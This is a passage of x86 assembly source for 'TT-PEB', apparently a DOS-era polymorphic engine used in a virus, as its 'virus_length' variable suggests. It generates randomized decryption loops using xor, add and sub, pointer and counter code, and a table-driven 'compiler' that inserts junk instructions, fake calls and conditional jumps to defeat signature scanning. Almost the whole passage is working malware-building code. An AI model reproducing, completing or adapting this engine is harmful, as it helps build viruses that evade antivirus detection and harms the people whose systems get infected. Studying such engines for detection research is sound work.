cli ; restore original SS:SP
mov sp,word ptr cs:[tt_saved_sp]
mov ss,word ptr cs:[tt_saved_ss]
sti

retn ; TT-PEB ending point

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

regs_set:
;
; regs_set creates the inital assignments to the counter (tbl1_b),
; pointer (tbl1_a) and math operation register (tbl1_c). of course it
; first check it hasn't been done yet.
;
mov ax,3
mov bx,offset table_1
call tbl2addr
jmp ax

table_1:
dw offset tbl1_a
dw offset tbl1_b
dw offset tbl1_c

tbl1_a:
cmp byte ptr [pntr_reg],0FFh
jne regs_set
jmp short pntr_crea
tbl1_b:
cmp byte ptr [cntr_reg],0FFh
jne regs_set
jmp short cntr_crea
tbl1_c:
cmp byte ptr [oper_reg],0FFh
jne regs_set
jmp loc_81


incdec_pntcnt:
;
; this routine:
; 1) decrements the counter reg (tbl2_b)
; 2) increments the pointer reg (tbl2_a)
; of course it first checks that it hasn't been yet done
;
mov ax,2
mov bx,offset table_2
call tbl2addr
jmp ax ;*Register jump
table_2:
dw offset tbl2_a
dw offset tbl2_b

tbl2_a:
cmp byte ptr [pntr_chdone],0ffh
jnz incdec_pntcnt
jmp pntr_update
tbl2_b:
cmp byte ptr [cntr_chdone],0ffh
jne incdec_pntcnt
jmp cntr_update

; pntr_crea creates the MOV pointer,offset_on_encr_code (offset is set near
; the end of the poly generation)
pntr_crea:
mov [pntr_pos],di
pntr_select:
mov ax,3
mov bx,offset table_3 ; which reg to use as pntr
call tbl2addr

cmp byte ptr [cntr_reg],al
je pntr_select
mov ah,byte ptr [oper_reg] ; be sure it isn't already
and ah,0fbh ; used
cmp al,ah
je pntr_select

mov [pntr_reg],al
or al,0b8h ; mov opcode
stosb
add di,2 ; space for later assignment
retn
table_3:
dw 03h ; bx
dw 06h ; si
dw 07h ; di

cntr_crea:
;
; cntr_crea creates the inital assignment to the counter register.
; there are three ways to do so in tt-peb:
; 1) tbl4_a directly sets value via 16bit mov (mov cntr16,value)
; 2) tbl4_b first assigns the value to the low 8bits of the counter reg
; and then to the high 8bits
; 3) tbl4_c first assigns the value to the high 8bits, then to the low 8
; between the low 8 and high 8 bit set there will be some garbage.
; of course the tbl4_b and tbl4_c can't be used by 16bits only regs (bp,di,si)
;
;
call garb_rr1f ; get a rnd register
cmp al,[pntr_reg] ; not same as pointer
je cntr_crea

mov byte ptr [cntr_reg],al
mov dl,al
cmp dl,5 ; bp 16only
je tbl4_a
cmp dl,6 ; si 16only
je tbl4_a
cmp dl,7 ; di 16only
je tbl4_a

mov ax,3
mov bx,offset table_4 ; for others randomly
call tbl2addr ; select the method
jmp ax
table_4:
dw offset tbl4_a
dw offset tbl4_b
dw offset tbl4_c

tbl4_a:
mov al,dl
or al,0b8h
stosb
call get_random
mov ah,00h
mov cx,ax
mov ax,virus_length
cmp byte ptr [poly_in_mem],0
je loca_1
add ax,cx
loca_1:
stosw
retn
tbl4_b:
mov al,dl
or al,0b0h
stosb
call get_random
mov ah,00h
mov cx,ax
mov ax,virus_length
cmp byte ptr [poly_in_mem],0
je loc_79
add ax,cx
loc_79:
stosb
push ax
push dx
mov al,7
call garbager
pop dx
mov al,dl
or al,0B4h
stosb
pop ax
mov al,ah
stosb
retn
tbl4_c:
mov al,dl
or al,0B4h
stosb
call get_random
mov ah,0
mov cx,ax
mov ax,virus_length
cmp byte ptr [poly_in_mem],0
je loc_80
add ax,cx
loc_80:
xchg al,ah
stosb
push ax
push dx
mov al,7
call garbager
pop dx
mov al,dl
or al,0B0h
stosb
pop ax
mov al,ah
stosb
retn
loc_81:
call garb_rr14
mov byte ptr [oper_reg],al
or al,0B0h
stosb
call store_rnd_no0
retn

math_oper:
;
; math_oper creates the code that encrypts/decrypts data in memory
;
mov [mathpos],di
mov ax,[tt_saved_ax]
and ax,1 ; need to force CS: ?
cmp ax,0
je loc_82
mov al,2Eh ; force CS:
stosb
jmp short loc_83
loc_82:
call garb_rr30
loc_83:
mov ax,3
mov bx,offset table_5 ; select enc/dec type
call tbl2addr

mov dx,ax
mov [math_oc],dh ; store the inverse
cmp byte ptr [pntr_reg],3
jne loc_84
mov dh,7
loc_84:
cmp byte ptr [pntr_reg],6
jne loc_85
mov dh,4
loc_85:
cmp byte ptr [pntr_reg],7
jne loc_85a
mov dh,5
loc_85a:
mov ax,2
mov bx,offset table_6
call tbl2addr
jmp ax
table_6:
;
; the generated math operation should be:
; 1) tbl6_a: math operation using the value from the operation reg
; 2) tbl6_b: math operation using an immediate
;
dw offset tbl6_a
dw offset tbl6_b
tbl6_a:
mov [mate_pos],di
mov al,dl
stosb
mov al,byte ptr [oper_reg]
shl al,3
or al,dh
stosb
retn
tbl6_b:
mov byte ptr [oper_reg],0ffh ; can use the oper_reg
or [math_oc],dh
mov al,80h
stosb
mov [mate_pos],di
mov al,dh
or al,dl
stosb
call garb_rr07
retn

table_5: ; ENC,DEC
db 30h,30h ; xor/xor
db 28h,00h ; add/sub
db 00h,28h ; sub/add

pntr_update:
;
; pntr_update creates the code to update the pointer on encrypted code
; there are 5 ways in which the poly does this:
; 1) tbl7_a: inc pnt_reg
; 2) tbl7_b: add pnt_reg,1 (adding 1 as a byte)
; 3) tbl7_c: add pnt_reg,1 (adding 1 as a word)
; 4) tbl7_d: sub pnt_reg,-1 (subbing -1 as a byte)
; 5) tbl7_e: sub pnt_reg,-1 (subbing -1 as a word)
;
mov byte ptr [pntr_chdone],0
mov ax,5
mov bx,offset table_7
call tbl2addr
jmp ax
table_7:
dw offset tbl7_a
dw offset tbl7_b
dw offset tbl7_c
dw offset tbl7_d
dw offset tbl7_e

tbl7_a:
mov al,[pntr_reg]
or al,40h
stosb
retn
tbl7_b:
mov al,83h
stosb
mov al,byte ptr [pntr_reg]
or al,0c0h
stosb
mov al,01h
stosb
retn
tbl7_c:
mov al,81h
stosb
mov al,byte ptr [pntr_reg]
or al,0c0h
stosb
mov ax,01h
stosw
retn
tbl7_d:
mov al,83h
stosb
mov al,byte ptr [pntr_reg]
or al,0e8h
stosb
mov al,0ffh
stosb
retn
tbl7_e:
mov al,81h
stosb
mov al,byte ptr [pntr_reg]
or al,0e8h
stosb
mov ax,0ffffh
stosw
retn

cntr_update:
;
; cntr_update creates the code to update the counter in the decryption loop
; there are 5 ways to do so in ttpeb:
; 1) tbl8_a: dec cnt_reg
; 2) tbl8_b: sub cnt_reg,1 (subbing 1 as a byte)
; 3) tbl8_c: sub cnt_reg,1 (subbing 1 as a word)
; 4) tbl8_d: add cnt_reg,-1 (adding -1 as a byte)
; 5) tbl8_e: add

cnt_reg,-1  (adding -1 as a word) 
;
mov byte ptr [cntr_chdone],0
mov ax,5
mov bx,offset table_8
call tbl2addr
jmp ax
table_8:
dw offset tbl8_a
dw offset tbl8_b
dw offset tbl8_c
dw offset tbl8_d
dw offset tbl8_e

tbl8_a:
mov al,byte ptr [cntr_reg]
or al,48h
stosb
retn

tbl8_b:
mov al,83h
stosb
mov al,byte ptr [cntr_reg]
or al,0E8h
stosb
mov al,1
stosb
retn
tbl8_c:
mov al,81h
stosb
mov al,byte ptr [cntr_reg]
or al,0E8h
stosb
mov ax,1
stosw
retn
tbl8_d:
mov al,83h
stosb
mov al,byte ptr [cntr_reg]
or al,0C0h
stosb
mov al,0FFh
stosb
retn
tbl8_e:
mov al,81h
stosb
mov al,byte ptr [cntr_reg]
or al,0C0h
stosb
mov ax,0FFFFh
stosw
retn

check_counter:
;
; check_counter creates the code to check if the counter is 0 so the loop
; has to finish
; there are 3 ways to do this:
; 1) tbl9_a: cmp cnt_reg,0 (using 0 as a byte)
; 2) tbl9_b: cmp cnt_reg,0 (using 0 as a word)
; 3) tbl9_c: or cnt_reg,cnt_reg

mov ax,3
mov bx,offset table_9
call tbl2addr
jmp ax

table_9:
dw offset tbl9_a
dw offset tbl9_b
dw offset tbl9_c

tbl9_a:
mov al,83h
stosb
mov al,byte ptr [cntr_reg]
or al,0f8h
stosb
mov al,00h
stosb
retn
tbl9_b:
mov al,81h
stosb
mov al,byte ptr [cntr_reg]
or al,0f8h
stosb
mov ax,00h
stosw
retn
tbl9_c:
mov al,09h
stosb
mov al,byte ptr [cntr_reg]
shl al,3
or al,byte ptr [cntr_reg]
or al,0c0h
stosb
retn

make_cond_jump:
;
; make_cond_jump creates the conditional jump after the comparation of the
; counter register. the conditional jump will jump a few garbage instructions
; (generated in this routine) and the main jump to the start of the decryption
; loop (generated later in the jump_back routine).
;
mov al,74h ; jump zero
stosb
add di,1
push di

mov byte ptr [spec_cnst],0
mov al,7
call garbager
mov byte ptr [spec_cnst],0FFh

pop bx
mov ax,di
sub ax,bx
add ax,3 ; 3 bytes for the jump_back
mov es:[bx-1],al ; set the offset to jump
retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; Creates the JMP back to the start of the decryption loop
jump_back:
mov bx,di
mov al,0e9h ; jmp opcode
stosb
mov ax,[dec_loop_start]
sub bx,ax
mov ax,bx
add ax,3
neg ax
stosw ; back offset
retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; Get the number of random instructions to generate depending on given
; option to TT-PEB in AX
garb_cntr:
mov ax,word ptr [tt_saved_ax]
and ax,2
cmp ax,0
je gb_exit1

mov al,3fh
jmp short garbager
gb_exit1:
retn

; Create some garbage instructions. Needs AL as a mask to limit max rnd
; instruction number
garbager:
mov cl,al
call get_random
and al,cl
mov ah,0
mov cx,ax
jmp short garb_loop1

sub_37:
mov cl,al
call random_no0
and al,cl
mov ah,0
mov cx,ax
jmp short garb_loop1

; CX = number of garbage instructions to create
garb_loop1:
cmp cx,0
je garb_loop1_end

push cx
call sub_38
pop cx

sub cx,1
jmp short garb_loop1
garb_loop1_end:
retn

sub_38:
push ds
mov ax,es
sub ax,40h
mov ds,ax
mov ax,ds:[0]
mov bx,2
call tbl2addr
pop ds

cmp ax,8000h ; if >=8000h then a special
; construct has been choosen
jae loc_92

mov si,ax
call garb_compiler
retn
loc_92:
cmp byte ptr [spec_cnst],0 ; creation possible? 0=NO
je loc_ret_93

sub ax,8000h ; correct adress
call ax

loc_ret_93:
retn

garb_compiler:
cmp byte ptr [si],0ffh ; end of garbage line?
je loc_ret_97

mov ah,[si] ; get "command" to do
add si,1
push si
mov si,offset garb_routines
loc_95:
cmp [si],ah
je loc_96 ; search the appropriate
add si,3 ; command
jmp short loc_95
loc_96:
mov bx,[si+1] ; adress in BX
pop si
call bx ; build garbage
jmp short garb_compiler

loc_ret_97:
retn

tbl2addr:
; given as input the adress of a table (in DS:BX) and the number of elements
; in the table (in AX) this routine will return (in AX) the value of a random
; element of the table. this is expecially used to get the adress of a garbage
; or instruction generation routine from the engine tables

push bx
push cx
push dx
mov cx,ax
call random_in_ax ; rnd in ax
loc_98:
cmp ax,cx
jb loc_99
sub ax,cx ; sub until a good (< than max)
jmp short loc_98 ; nr is choosen
loc_99:
add ax,ax ; each addr is 1 word long
add bx,ax ; + base of table
mov ax,[bx] ; get the value
pop dx
pop cx
pop bx
retn

; Table with reference to garbage creation routines
garb_routines:
db 00h
dw offset garb_rr00

db 01h
dw offset garb_rr01

db 02h
dw offset garb_rr02

db 03h
dw offset garb_rr03

db 04h
dw offset garb_rr04

db 05h
dw offset garb_rr05

db 06h
dw offset garb_rr06

db 07h
dw offset garb_rr07

db 08h
dw offset garb_rr08

db 09h
dw offset garb_rr09

db 0ah
dw offset garb_rr0a

db 0bh
dw offset garb_rr0b

db 0ch
dw offset garb_rr0c

db 0dh
dw offset garb_rr0d

db 0eh
dw offset garb_rr0e

db 0fh
dw offset garb_rr0f

db 10h
dw offset garb_rr10

db 11h
dw offset garb_rr11

db 12h
dw offset garb_rr12

db 13h
dw offset garb_rr13

db 14h
dw offset garb_rr14

db 15h
dw offset garb_rr15

db 16h
dw offset garb_rr16

db 17h
dw offset garb_rr17

db 18h
dw offset garb_rr18

db 19h
dw offset garb_rr19

db 1ah
dw offset garb_rr1a

db 1bh
dw offset garb_rr1b

db 1ch
dw offset garb_rr1c

db 1dh
dw offset garb_rr1d

db 1eh
dw offset garb_rr1e

db 1fh
dw offset garb_rr1f

db 20h
dw offset garb_rr20

db 21h
dw offset garb_rr21

db 22h
dw offset garb_rr22

db 23h
dw offset garb_rr23

db 24h
dw offset garb_rr24

db 25h
dw offset garb_rr25

db 26h
dw offset garb_rr26

db 27h
dw offset garb_rr27

db 28h
dw offset garb_rr28

db 29h
dw offset garb_rr29

db 2ah
dw offset garb_rr2a

db 2bh
dw offset garb_rr2b

db 2ch
dw offset garb_rr2c

db 2dh
dw offset garb_rr2d

db 2eh
dw offset garb_rr2e

db 2fh
dw offset garb_rr2f

db 30h
dw offset garb_rr30

db 31h
dw offset garb_rr31

db 32h
dw offset garb_rr32

garb_rr00:
movsb
retn

garb_rr01:
push cx
mov ch,0
mov cl,[si]
add si,1
rep movsb
pop cx
retn

garb_rr02:
lodsb ; String [si] to al
retn

garb_rr03:
stosb ; Store al to es:[di]
retn

garb_rr04:
get_random: ; output random byte in AL

mov byte ptr cs:[tmp_store_ah],ah

; cmp word ptr cs:[rnd_pos],0FFh ; first random?
db 2Eh,83h,3Eh,64h,0Dh,0FFh
jnz first_random

in al,40h ; port 40h, 8253 timer 0 clock
mov ah,al
mov al,0
mov word ptr cs:[rnd_pos],ax
first_random:
push si
push ds
mov ax,0F000h
mov ds,ax
mov si,word ptr cs:[rnd_pos]
look_randy:
mov al,byte ptr [si]

cmp al,byte ptr [si+1]
jne ok_randy

cmp al,byte ptr [si+2]
jne ok_randy

cmp al,byte ptr [si+3]
jne ok_randy

add si,1
jmp short look_randy
ok_randy:
add si,1
mov word ptr cs:[rnd_pos],si
pop ds
pop si
mov ah,byte ptr cs:[tmp_store_ah]
retn

rnd_pos dw 98e3h

garb_rr05:
call get_random
stosb ; Store al to es:[di]
retn

garb_rr06:
random_no0:
call get_random
cmp al,0
je random_no0
retn

garb_rr07:
store_rnd_no0:
call random_no0
stosb ; Store al to es:[di]
retn

garb_rr08:
random_noff:
call get_random
cmp al,0FFh
je random_noff
retn

garb_rr09:
call random_noff
stosb ; Store al to es:[di]
retn

random_in_ax:
call get_random
mov ah,al
call get_random
retn

garb_rr0a:
and al,[si]
add si,1
stosb ; Store al to es:[di]
retn

garb_rr0b:
or al,[si]
add si,1
stosb ; Store al to es:[di]
retn

garb_rr0c:
and al,[si]
add si,1
or al,[si]
add si,1
stosb ; Store al to es:[di]
retn

garb_rr0d:
mov cl,[si]
add si,1
shr al,cl
retn

garb_rr0e:
mov cl,[si]
add si,1
shl al,cl
retn

garb_rr0f:
cmp byte ptr [some_lock],0
jne loc_106 ; Jump if not equal
mov byte ptr [some_lock],0FFh
call garb_rr19
mov byte ptr [some_lock],0
retn
loc_106:
call get_random
and al,7
retn

sub_47:
call garb_rr0f
mov ah,al
shl ah,3
retn

garb_rr10:
call sub_47
call garb_rr0f
or al,ah
retn

garb_rr11:
call sub_49
call garb_rr0f
or al,ah
retn

garb_rr12:
call sub_51
call garb_rr0f
or al,ah
retn

garb_rr13:
call sub_47
call garb_rr1e
or al,ah
retn

garb_rr14:
cmp byte ptr [some_lock],0
jne loc_107 ; Jump if not equal
mov byte ptr [some_lock],0FFh
call garb_rr19
mov byte ptr [some_lock],0
retn
loc_107:
mov byte ptr ds:[tmp_store_ah],ah
loc_108:
mov ah,byte ptr ds:[tmp_store_ah]
call garb_rr0f
mov byte ptr ds:[tmp_store_ah],ah
mov ah,al
and ah,3
cmp [pntr_reg],ah
je loc_108 ; Jump if equal
cmp byte ptr [cntr_reg],ah
je loc_108 ; Jump if equal
mov ah,byte ptr ds:[tmp_store_ah]
retn


sub_49:
call garb_rr14
mov ah,al
shl ah,3
retn

garb_rr15:
call sub_47
call garb_rr14
or al,ah
retn

garb_rr16:
call sub_49
call garb_rr14
or al,ah
retn

garb_rr17:
call sub_51
call garb_rr14
or al,ah
retn

garb_rr18:
call sub_49
call garb_rr1e
or al,ah
retn

garb_rr19:
call garb_rr14
cmp byte ptr [oper_reg],al
je garb_rr19
retn

sub_51:
call garb_rr19
mov ah,al
shl ah,3
retn

garb_rr1a:
call sub_47
call garb_rr19
or al,ah
retn

garb_rr1b:
call sub_49
call garb_rr19
or al,ah
retn

garb_rr1c:
call sub_51
call garb_rr19
or al,ah
retn

garb_rr1d:
call sub_51
call garb_rr1e
or al,ah
retn

garb_rr1e:
call get_random
and al,7
cmp al,6
je garb_rr1e
retn

garb_rr1f:
cmp byte ptr [some_lock],0
jne loc_112 ; Jump if not equal
mov byte ptr [some_lock],0FFh
call garb_rr29
mov byte ptr [some_lock],0
retn
loc_112:
call get_random
and al,7
cmp al,4
je garb_rr1f
retn

sub_54:
call garb_rr1f
mov ah,al
shl ah,3 ; Shift w/zeros fill
retn

garb_rr20:
call sub_54
call garb_rr1f
or al,ah
retn

garb_rr21:
call sub_56
call garb_rr1f
or al,ah
retn

garb_rr22:
call sub_58
call garb_rr1f
or al,ah
retn

garb_rr23:
call sub_54
call garb_rr1e
or al,ah
retn

garb_rr24:
cmp byte ptr [some_lock],0
jne loc_114 ; Jump if not equal
mov byte ptr [some_lock],0FFh
call garb_rr29
mov byte ptr [some_lock],0
retn
loc_114:
call garb_rr1f
cmp [pntr_reg],al
je garb_rr24
cmp byte ptr [cntr_reg],al
je garb_rr24
retn


sub_56:
call garb_rr24
mov ah,al
shl ah,3
retn

garb_rr25:
call sub_54
call garb_rr24
or al,ah
retn

garb_rr26:
call sub_56
call garb_rr24
or al,ah
retn

garb_rr27:
call sub_58
call garb_rr24
or al,ah
retn

garb_rr28:
call sub_56
call garb_rr1e
or al,ah
retn

garb_rr29:
mov byte ptr ds:[tmp_store_ah],ah
loc_115:
mov ah,byte ptr ds:[tmp_store_ah]
call garb_rr24
mov byte ptr ds:[tmp_store_ah],ah
mov ah,byte ptr [oper_reg]
and ah,0FBh
cmp al,ah
je loc_115 ; Jump if equal
mov ah,byte ptr ds:[tmp_store_ah]
retn

sub_58:
call garb_rr29
mov ah,al
shl ah,3 ; Shift w/zeros fill
retn

garb_rr2a:
call sub_54
call garb_rr29
or al,ah
retn

garb_rr2b:
call sub_56
call garb_rr29
or al,ah
retn

garb_rr2c:
call sub_58
call garb_rr29
or al,ah
retn

garb_rr2d:
call sub_58
call garb_rr1e
or al,ah
retn

garb_rr2e:
mov al,[si]
add si,1
mov ah,al
and ah,3
cmp [pntr_reg],ah
je loc_ret_116
cmp byte ptr [cntr_reg],ah
je loc_ret_116
cmp byte ptr [oper_reg],al
je loc_ret_116
add si,1

loc_ret_116:
retn

garb_rr2f:
mov al,[si]
add si,1
cmp [pntr_reg],al
je loc_ret_117
cmp byte ptr [cntr_reg],al
je loc_ret_117
mov ah,byte ptr [oper_reg]
and ah,0FBh
cmp al,ah
je loc_ret_117
add si,1
loc_ret_117:
retn

garb_rr30:
call get_random
and al,3
cmp al,0
jne loc_ret_119 ; Jump if not equal
call get_random
and al,18h
cmp al,10h
je garb_rr30
or al,26h
stosb
loc_ret_119:
retn

garb_rr31:
cmp byte ptr [decr_init],0
je loc_ret_120
cmp byte ptr [cntr_reg],1
je loc_ret_120
cmp byte ptr [oper_reg],1
je loc_ret_120
cmp byte ptr [oper_reg],5
je loc_ret_120
mov al,byte ptr [oper_reg]
and al,0FBh
cmp al,1
je loc_ret_120
call get_random
and al,3
cmp al,0
jne loc_ret_120
call get_random
and al,1
or al,0F2h
stosb
loc_ret_120:
retn

garb_rr32:
cmp byte ptr [decr_init],0
je loc_ret_121
add si,1
loc_ret_121:
retn

tmp_store_ah db 29h ; tmp space to store AH


db 00h
db 00h
; this table contains the offsets to the garbage constructs.
; the first few (that create more complicated constructs like calls) have
; a fixed added value of 8000h, so the main generation routine will see if
; one of them has been choosen. this is done to make the detection of such
; constructs faster. infact this kind of constructs can't be always done
; (the poly doesn't generate a call construct in another call construct and
; such like things) of course the offsets will be corrected later.
garbage_offsets:
dw offset garb_cf0 + 8000h
dw offset garb_cf1 + 8000h
dw offset garb_cf2 + 8000h
dw offset garb_cf3 + 8000h
dw offset garb_cf4 + 8000h
dw offset garb_cf5 + 8000h
dw offset garb_c00
dw offset garb_c01
dw offset garb_c02
dw offset garb_c03
dw offset garb_c04
dw offset garb_c05
dw offset garb_c06
dw offset garb_c07
dw offset garb_c08
dw offset garb_c0a
dw offset garb_c0c
dw offset garb_c0d
dw offset garb_c0f
dw offset garb_c11
dw offset garb_c13
dw offset garb_c15
dw offset garb_c18
dw offset garb_c1c
dw offset garb_c1e
dw offset garb_c20
dw offset garb_c22
dw offset garb_c24
dw offset garb_c27
dw offset garb_c29
dw offset garb_c2a
dw offset garb_c2b
dw offset garb_c2c
dw offset garb_c2d
dw offset garb_c2e
dw offset garb_c2f
dw offset garb_c30
dw offset garb_c31
dw offset garb_c32
dw offset garb_c33
dw offset garb_c34
dw offset garb_c35
dw offset garb_c36
dw offset garb_c37
dw offset garb_c38
dw offset garb_c39
dw offset garb_c3a
dw offset garb_c3b
dw offset garb_c3c
dw offset garb_c3d
dw offset garb_c3e
dw offset garb_c3f
dw offset garb_c40
dw offset garb_c41
dw offset garb_c42
dw offset garb_c43
dw offset garb_c44
dw offset garb_c45
dw offset garb_c46
dw offset garb_c47
dw offset garb_c48
dw offset garb_c49
dw offset garb_c4a
dw offset garb_c4b
dw offset garb_c4c
dw offset garb_c4d
dw offset garb_c4e
dw offset garb_c4f
dw offset garb_c50
dw offset garb_c51
dw offset garb_c52
dw offset garb_c53
dw offset garb_c54
dw offset garb_c55
dw offset garb_c56
dw offset garb_c57
dw offset garb_c58
dw offset garb_c59
dw offset garb_c5a
dw offset garb_c5b
dw offset garb_c5c
dw offset garb_c5d
dw offset garb_c5e
dw offset garb_c5f
dw offset garb_c60
dw offset garb_c61
dw offset garb_c62
dw offset garb_c63
dw offset garb_c64
dw offset garb_c65
dw offset garb_c66
dw offset garb_c67
dw offset garb_c68
dw offset garb_c69
dw offset garb_c6a
dw offset garb_c6b
dw offset garb_c6c
dw offset garb_c6d
dw offset garb_c6e
dw offset garb_c6f
dw offset garb_c70
dw offset garb_c71
dw offset garb_c72
dw offset garb_c73
dw offset garb_c74
dw offset garb_c75
dw offset garb_c76
dw offset garb_c77
dw offset garb_c78
dw offset garb_c79
dw offset garb_c7a
dw offset garb_c7b
dw offset garb_c7c
dw offset garb_c7d
dw offset garb_c7e
dw offset garb_c7f
dw offset garb_c80
dw offset garb_c81
dw offset garb_c82
dw offset garb_c83
dw offset garb_c84
dw offset garb_c9c
dw offset garb_c85
dw offset garb_c86
dw offset garb_c87
dw offset garb_c28
dw offset garb_c88
dw offset garb_c89
dw offset garb_c8a
dw offset garb_c8b
dw offset garb_c8c
dw offset garb_c8d
dw offset garb_c8e
dw offset garb_c8f
dw offset garb_c90
dw offset garb_c91
dw offset garb_c92
dw offset garb_c93
dw offset garb_c94
dw offset garb_c95
dw offset garb_c96
dw offset garb_c97
dw offset garb_c98
dw offset garb_c99
dw offset garb_c9a
dw offset garb_c9b
dw offset garb_c26
dw offset garb_c9d
dw offset garb_c9e
dw offset garb_c9f
dw offset garb_ca0
dw offset garb_ca1
dw offset garb_ca2
dw offset garb_ca3
dw offset garb_ca4
dw offset garb_ca5
dw offset garb_ca6
dw offset garb_ca7
dw offset garb_ca8
dw offset garb_ca9
dw offset garb_caa
dw offset garb_cab
dw offset garb_cac
dw offset garb_cad
dw offset garb_cae
dw offset garb_caf
dw offset garb_c25
dw offset garb_cb0
dw offset garb_cb1
dw offset garb_cb2
dw offset garb_cb3
dw offset garb_cb4
dw offset garb_cb5
dw offset garb_cb6
dw offset garb_cb7
dw offset garb_cb8
dw offset garb_cb9
dw offset garb_cbc
dw offset garb_cbd
dw offset garb_cbe
dw offset garb_cbe
dw offset garb_cbf
dw offset garb_cbf
dw offset garb_cc0
dw offset garb_cc0
dw offset garb_cc1
dw offset garb_cc1
dw offset garb_cc2
dw offset garb_cc2
dw offset garb_cc3
dw offset garb_cc3
dw offset garb_cc4
dw offset garb_cc4
dw offset garb_cc5
dw offset garb_cc5
dw offset garb_cc6
dw offset garb_cc6
dw offset garb_cc7
dw offset garb_cc7
dw offset garb_cc8
dw offset garb_cc8
dw offset garb_cc9
dw offset garb_cc9
dw 00h ; end marker

; End of table with garbage constructs offsets

garb_cf0:
;
; looks like
; jmp short foo1
; _rndnr
; foo1:
;
mov al,0ebh ; jmp short
stosb
loc_122:
call get_random
and ax,7
cmp al,0
je loc_122
stosb ; store the offset
mov cx,ax
locloop_123:
call get_random
stosb ; fill with random data
loop locloop_123
retn

garb_cf1:
;
; looks like
; jmpc foo1
; _garbage
; foo1:
;
mov al,[spec_cnst]
mov byte ptr [spec_cnst],0 ; lock generation of spec
push ax
mov al,[some_lock]
mov byte ptr [some_lock],0
push ax
loc_124:
call get_random
and al,0Fh
cmp al,2
jb loc_124
cmp al,7
ja loc_124
or al,70h
stosb ; do some sort of conditional
; jump
add di,1
push di
mov al,0Fh
call sub_37
pop bx
mov ax,di
sub ax,bx
mov es:[bx-1],al ; cnd jump offset
pop ax
mov [some_lock],al
pop ax
mov [spec_cnst],al
retn
garb_cf2:
;
; looks like
; jcxz foo1
; _garbage
; foo1:
;
mov al,[spec_cnst]
mov byte ptr [spec_cnst],0
push ax
mov al,[some_lock]
mov byte ptr [some_lock],0
push ax
mov al,0e3h ; jcxz opcode
stosb
add di,1
push di
mov al,0Fh
call sub_37
pop bx
mov ax,di
sub ax,bx
mov es:[bx-1],al ; jcxz jump offset
pop ax
mov [some_lock],al
pop ax
mov [spec_cnst],al
retn
garb_cf3:
;
; looks like:
; call foo1
; _garbage
; jmp a_foo1
; foo1:
; _garbage
; ret
; _rndnr
; a_foo1:
;
mov al,[spec_cnst]
mov byte ptr [spec_cnst],0
push ax
call get_random
mov al,0e8h ; call opcode
stosb
add di,2
push di
mov al,3
call garbager
mov al,0ebh ; jmp short opcode
stosb
add di,1
pop bx
push di
mov ax,di
sub ax,bx
mov es:[bx-2],ax ; adress to be call-ed
mov al,7
call sub_37 ; garbage
mov al,0C3h ; ret opcode
stosb
call get_random
and ax,7
cmp ax,0
je loc_126
mov cx,ax

locloop_125:
call get_random
stosb
loop locloop_125

loc_126:
pop bx
mov ax,di
sub ax,bx
mov es:[bx-1],al ; adress for the jmp short
; after the call-ed
; "subroutine"
pop ax
mov [spec_cnst],al
retn
garb_cf4:
;
; looks like
; push cs
; call foo1
; _garbage
; jmp a_foo1
; foo1:
; _garbage
; retf
; _rndnr
; a_foo1:
;
mov al,[spec_cnst]
mov byte ptr [spec_cnst],0
push ax
mov al,0eh ; push cs opcode
stosb
mov al,7
call garbager
mov al,0e8h ; call opcode
stosb
add di,2
push di
mov al,3
call garbager
mov al,0ebh ; jmp that will jump the
stosb ; call-ed subroutine
add di,1
pop bx
push di
mov ax,di
sub ax,bx
mov es:[bx-2],ax ; adress for the call
mov al,7
call sub_37 ; garbage
mov al,0cbh ; retf opcode
stosb
call get_random
and ax,7
cmp ax,0
je loc_128
mov cx,ax
locloop_127:
call get_random
stosb
loop locloop_127
loc_128:
pop bx
mov ax,di
sub ax,bx
mov es:[bx-1],al ; the offset for the jmp
pop ax
mov [spec_cnst],al
retn
garb_cf5:
;
; looks like
; push reg_x
; _garbage
; pop reg_x
;
call garb_rr1f
push ax
or al,50h ; push base opcode
stosb
mov al,0Fh
call sub_37
pop ax
or al,58h ; pop base opcode
stosb
retn

; Garbage instruction construction table
; Every entry in this table is used to create some kind of garbage. The dbs
; are interpreted byte by byte by a TT-PEB routine. There is some sorta
; "compiler" of garbage in TT-PEB. More in the poly description :-)

garb_c00 db 000h,090h,0ffh
garb_c01 db 000h,0fbh,0ffh
garb_c02 db 000h,0fah,0ffh
garb_c03 db 000h,0f9h,0ffh
garb_c04 db 000h,0f8h,0ffh
garb_c05 db 000h,0fdh,0ffh
garb_c06 db 000h,0fch,0ffh
garb_c07 db 000h,0f5h,0ffh
garb_c08 db 02eh,000h,0ffh,000h,02fh,0ffh
garb_c0a db 02eh,004h,0ffh,000h,09fh,0ffh
garb_c0c db 000h,09eh,0ffh
garb_c0d db 02fh,000h,0ffh,000h,037h,0ffh
garb_c0f db 02fh,000h,0ffh,000h,03fh,0ffh
garb_c11 db 02fh,000h,0ffh,001h,002h,0d4h,00ah,0ffh
garb_c13 db 02fh,000h,0ffh,001h,002h,0d5h,00ah,0ffh
garb_c15 db 02eh,000h,0ffh,02fh,006h,0ffh,031h,000h,0ach,0ffh
garb_c18 db 02eh,000h,0ffh,02fh,006h,0ffh,02fh,007h,0ffh,031h
db 000h,0a6h,0ffh
garb_c1c db 02fh,007h,0ffh,031h,000h,0aeh,0ffh
garb_c1e db 02eh,000h,0ffh,000h,0d7h,0ffh
garb_c20 db 02eh,004h,0ffh,000h,098h,0ffh
garb_c22 db 02fh,002h,0ffh,000h,099h,0ffh
garb_c24 db 032h,0ffh,02fh,001h,0ffh,004h,00ch,002h,0e0h,000h
db 0feh,0ffh
garb_c27 db 02fh,000h,0ffh,029h,00bh,090h,0ffh
garb_c29 db 01fh,00bh,050h,029h,00bh,058h,0ffh
garb_c2a db 004h,00ch,018h,006h,029h,00bh,058h,0ffh
garb_c2b db 014h,00bh,0b0h,005h,0ffh
garb_c2c db 000h,080h,014h,00bh,0c0h,005h,0ffh
garb_c2d db 000h,080h,019h,00bh,0d0h,005h,0ffh
garb_c2e db 000h,080h,014h,00bh,0e8h,005h,0ffh
garb_c2f db 000h,080h,019h,00bh,0d8h,005h,0ffh
